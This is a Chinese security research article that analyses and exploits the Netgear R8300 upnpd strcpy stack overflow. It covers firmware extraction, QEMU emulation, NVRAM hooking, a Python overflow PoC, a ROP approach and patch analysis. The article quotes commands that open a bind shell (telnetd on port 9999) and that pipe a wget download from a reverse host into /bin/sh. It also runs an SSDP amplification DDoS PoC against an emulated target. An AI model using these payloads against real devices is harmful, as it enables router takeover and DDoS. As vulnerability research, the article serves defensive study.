1234567? binwalk R8300-V1.0.2.130_1.0.99.chkDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x086 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38使用
binwalk -Me
提取出 Squashfs 文件系统,漏洞程序是ARMv5
架构,动态链接,且去除了符号表。123456? squashfs-root lsbin dev etc lib media mnt opt proc sbin share sys tmp usr var www? squashfs-root find . -name upnpd./usr/sbin/upnpd? squashfs-root file ./usr/sbin/upnpd./usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, strippedQEMU 模拟
在基于 QEMU 的固件模拟这块,网上也有一些开源的平台,如比较出名的 firmadyne【6】、ARM-X【7】。不过相比于使用这种集成环境,我更倾向于自己动手,精简但够用。
相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》【8】也有提及,步骤大同小异。
在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
123sudo tunctl -t tap0 -u `whoami`sudo ifconfig tap0 192.168.2.1/24qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic用户名和密码都是 root,为虚拟机分配 IP:
1ifconfig eth0 192.168.2.2/24这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
123456789101112131415161718192021222324252627282930313233root@debian-armhf:~# lssquashfs-rootroot@debian-armhf:~# ifconfigeth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:96350 errors:0 dropped:0 overruns:0 frame:0TX packets:98424 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:7945287 (7.5 MiB) TX bytes:18841978 (17.9 MiB)Interrupt:47lo Link encap:Local Loopbackinet addr:127.0.0.1 Mask:255.0.0.0inet6 addr: ::1/128 Scope:HostUP LOOPBACK RUNNING MTU:16436 Metric:1RX packets:55 errors:0 dropped:0 overruns:0 frame:0TX packets:55 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0RX bytes:304544 (297.4 KiB) TX bytes:304544 (297.4 KiB)root@debian-armhf:~# mount -t proc /proc ./squashfs-root/procroot@debian-armhf:~# mount -o bind /dev ./squashfs-root/devroot@debian-armhf:~# chroot ./squashfs-root/ shBusyBox v1.7.2 (2018-12-13 12:34:27 CST) built-in shell (ash)Enter 'help' for a list of built-in commands.# iduid=0 gid=0(root)#修复运行依赖
直接运行没有任何报错就退出了,服务也没启动。
经过调试发现是打开文件失败。
手动创建
/tmp/var/run
目录,再次运行提示缺少/dev/nvram
。NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用
LD_PRELOAD
劫持以下函数符号。网上找到一个现成的实现:【9】,交叉编译:
1? armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so还是报错,找不到
dlsym
的符号。之所以会用到dlsym
,是因为该库的实现者还同时 hook 了system
、fopen
、open
等函数,这对于修复文件缺失依赖,查找命令注入漏洞大有裨益。/lib/libdl.so.0
导出了该符号。123456789101112? grep -r "dlsym" .Binary file ./lib/libcrypto.so.1.0.0 matchesBinary file ./lib/libdl.so.0 matchesBinary file ./lib/libhcrypto-samba4.so.5 matchesBinary file ./lib/libkrb5-samba4.so.26 matchesBinary file ./lib/libldb.so.1 matchesBinary file ./lib/libsamba-modules-samba4.so matchesBinary file ./lib/libsqlite3.so.0 matchesgrep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory? readelf -a ./lib/libdl.so.0 | grep dlsym26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym可以跑起来了,不过由于缺少配置信息,还是会异常退出。接下来要做的就是根据上面的日志补全配置信息,其实特别希望能有一台 R8300,导出里面的 nvram 配置...
简单举个例子,
upnpd_debug_level
是控制日志级别的,sub_B813()
是输出日志的函数,只要upnpd_debug_level > sub_B813() 的第一个参数
,就可以在终端输出日志。下面分享一份 nvram 配置,至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
1234567891011121314upnpd_debug_level=9lan_ipaddr=192.168.2.2hwver=R8500friendly_name=R8300upnp_enable=1upnp_turn_on=1upnp_advert_period=30upnp_advert_ttl=4upnp_portmap_entry=1upnp_duration=3600upnp_DHCPServerConfigurable=1wps_is_upnp=0upnp_sa_uuid=00000000000000000000lan_hwaddr=AA:BB:CC:DD:EE:FFupnpd 服务成功运行!
3.漏洞分析
该漏洞的原理很简单,使用
strcpy()
拷贝导致的缓冲区溢出,来看看调用流程。在
sub_1D020()
中使用recvfrom()
从套接字接受最大长度0x1fff
的 UDP 报文数据。在
sub_25E04()
中调用strcpy()
将以上数据拷贝到大小为0x634 - 0x58 = 0x5dc
的 buffer。4.利用分析
通过
checksec
可知程序本身只开了 NX 保护,从原漏洞详情得知 R8300 上开了 ASLR。很容易构造出可控 PC 的 payload,唯一需要注意的是栈上有个 v39 的指针 v41,覆盖的时候将其指向有效地址即可正常返回。
12345678910111213141516#!/usr/bin/python3import socketimport structp32 = lambda x: struct.pack("<L", x)s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)payload = (0x604 * b'a' + # dummyp32(0x7e2da53c) + # v41(0x634 - 0x604 - 8) * b'a' + # dummyp32(0x43434343) # LR)s.connect(('192.168.2.2', 1900))s.send(payload)s.close()显然,
R4 - R11
也是可控的,思考一下目前的情况:- 开了 NX 不能用
shellcode
。 - 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和
gadget
。 strcpy()
函数导致的溢出,payload 中不能包含\x00
字符。
其实可控 PC 后已经可以干很多事了,
upnpd
内包含大量system
函数调用,比如reboot
。下面探讨下更为 general 的 RCE 利用,一般像这种 ROP 的 payload 中包含
\x00
,覆盖返回地址的payload 又不能包含\x00
,就要想办法提前将 ROP payload 注入目标内存。比如,利用内存未初始化问题,构造如下 PoC,每个 payload 前添加
\x00
防止程序崩溃。12345s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)s.connect(('192.168.2.2', 1900))s.send(b'\x00' + b'A' * 0x1ff0)s.send(b'\x00' + b'B' * 0x633)s.close()在漏洞点下断点,
两次拷贝完成后,看下内存布局:
可以看到,由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
借用原作者的一张图,利用原理如下:
关于 ROP,使用
strcpy
调用在 bss 上拼接出命令字符串,并调整 R0 指向这段内存,然后跳转system
执行即可。原作者构造的
system("telnetd -l /bin/sh -p 9999& ")
绑定型 shell。经过分析,我发现可以构造
system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh")
调用,从而无限制任意命令执行。构造的关键在于下面这张表。
发送 payload,通过 hook 的日志可以看到,ROP 利用链按照预期工作,可以无限制远程命令执行。 (由于模拟环境的问题,wget 命令运行段错误了...)
5.补丁分析
在更新版固件
V1.0.2.134
中,用strncpy()
代替strcpy()
,限制了拷贝长度为0x5db
,正好是 buffer 长度减 1。补丁中还特意用
memset()
初始化了 buffer。这是由于strncpy()
在拷贝时,如果 n < src 的长度,只是将 src 的前 n 个字符复制到 dest 的前 n 个字符,不会自动添加\x00
,也就是结果 dest 不包括\x00
,需要再手动添加一个\x00
;如果 src 的长度小于 n 个字节,则以\x00
填充 dest 直到复制完 n 个字节。结合上面的 RCE 利用过程,可见申请内存之后及时初始化是个很好的编码习惯,也能一定程度上避免很多安全问题。
6.影响范围
通过 ZoomEye 网络空间搜索引擎对关键字
"SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0"
进行搜索,共发现 18889 条 Netgear UPnP 服务的 IP 历史记录,主要分布在美国【10】。其中是 R8300 这个型号的会受到该漏洞影响。7.其他
说句题外话,由于协议设计缺陷,历史上 UPnP 也被多次曝出漏洞,比如经典的 SSDP 反射放大用来 DDoS 的问题。
在我们的模拟环境中进行测试,发送 132 bytes 的
ST: ssdp:all M-SEARCH
查询请求 ,服务器响应了 4063 bytes 的数据,放大倍率高达 30.8。因此,建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124? pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2,------. ,--. ,--. ,----. {1.5.9-nongit-20200408}| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. || '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |`--' `---' `---`----' `----'`--' `--' `----`----' http://pocsuite.org[*] starting at 11:05:18[11:05:18] [INFO] loading PoC script 'upnp_ssdp_ddos_poc.py'[11:05:18] [INFO] pocsusite got a total of 1 tasks[11:05:18] [DEBUG] pocsuite will open 1 threads[11:05:18] [INFO] running poc:'upnp ssdp ddos' target '192.168.2.2'[11:05:28] [DEBUG] timed out[11:05:28] [DEBUG] HTTP/1.1 200 OKST: upnp:rootdeviceLOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdeviceHTTP/1.1 200 OKST: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:InternetGatewayDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:InternetGatewayDevice:1HTTP/1.1 200 OKST: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:WANDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANDevice:1HTTP/1.1 200 OKST: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:WANConnectionDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANConnectionDevice:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:Layer3Forwarding:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:Layer3Forwarding:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANEthernetLinkConfig:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANIPConnection:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANIPConnection:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANPPPConnection:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANPPPConnection:1[11:05:28] [+] URL : http://192.168.2.2[11:05:28] [+] Info : Send: 132 bytes, receive: 4063 bytes, amplification: 30.78030303030303[11:05:28] [INFO] Scan completed,ready to print+-------------+----------------+--------+-----------+---------+---------+| target-url | poc-name | poc-id | component | version | status |+-------------+----------------+--------+-----------+---------+---------+| 192.168.2.2 | upnp ssdp ddos | | | | success |+-------------+----------------+--------+-----------+---------+---------+success : 1 / 1[*] shutting down at 11:05:288.相关链接
【1】: Netgear 官方安全公告
【2】: 漏洞详情
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞
https://www.seebug.org/vuldb/ssvid-98253
【4】: Unlocking the Netgear Telnet Console
【5】: 固件下载
https://www.netgear.com/support/product/R8300.aspx#download
【6】: firmadyne
https://github.com/firmadyne/firmadyne
【7】: ARM-X
https://github.com/therealsaumil/armx
【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用
【9】: nvram hook 库
https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
【10】: ZoomEye 搜索
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1311/